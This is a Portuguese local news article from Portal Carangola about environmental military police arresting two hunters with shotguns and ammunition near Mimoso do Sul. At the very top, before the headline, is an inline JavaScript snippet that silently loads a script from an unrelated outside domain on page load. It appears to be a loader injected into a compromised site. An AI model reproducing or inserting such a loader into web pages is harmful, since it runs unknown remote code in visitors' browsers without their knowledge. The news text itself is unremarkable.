;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Policia Militar Ambiental prende caçadores com armas e munições no município de Mimoso do Sul - Portal Carangola

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Policia Militar Ambiental prende caçadores com armas e munições no município de Mimoso do Sul

Na tarde de sábado (27), a Polícia Militar Ambiental prendeu dois acusados de praticarem caça com arma de fogo no Distrito de Barreirinha, município de Mimoso do Sul-ES.

A equipe da 4ª Companhia da Polícia Militar Ambiental composta pelos policiais militares Cabo Silva e Soldado Lopes a bordo da viatura PA 019 realizaram abordagem com base em informações de que P.S.P.S. de 41 anos residente em Mimoso do Sul e J.G.S. de 33 anos residente em Presidente Kennedy, estavam praticando o crime de caça na região, sendo encontrado: 01 (uma) espingarda calibre 32, 01 (uma) espingarda calibre 20, 02 (dois) canhões para caça calibre 36, 10 (dez) munições calibre 20, 06 (seis) munições calibre 32, 02 (duas) munições calibre 36, 03 (três) lanternas e 01 (uma) rede de dormir.

O material se encontrava em uma caixa de madeira juntamente com uma motocicleta.

Os militares cumpriam diligências há alguns dias na região por conta das várias denúncias recebidas, e também, pelo local ser conhecido em decorrência de sua diversidade de fauna e flora.

O tenente Roberto Martins que responde pelo comando da 4ª Companhia, ressalta que além do êxito no trabalho da sua equipe, a ação também teve seu ponto positivo, que é o tocante ao resultado preventivo, ou seja: “certamente os caçadores iriam atuar na noite de sábado para domingo, e, mais uma vez a Polícia Militar Ambiental evitou que os mesmos viessem a atingir os seus objetivos”.

Foi informado ainda que a 4ª Companhia continuará agindo nas formas preventiva e repressiva, com objetivo de evitar que tais crimes ambientais ocorram naquela região.

Os caçadores foram encaminhados para a DPJ de Cachoeiro de Itapemirim onde foram autuados.

A Lei 9.605/98 que trata dos Crimes Ambientais, prevê uma pena de detenção de  06 (seis) meses a 01 (um) ano, além do pagamento de multa, para quem for surpreendido praticando atividade de caça de animais silvestres.

Informação:

Roberto MARTINS – 1º Ten PM

(28) 9885-0094   (28) 3553-2042

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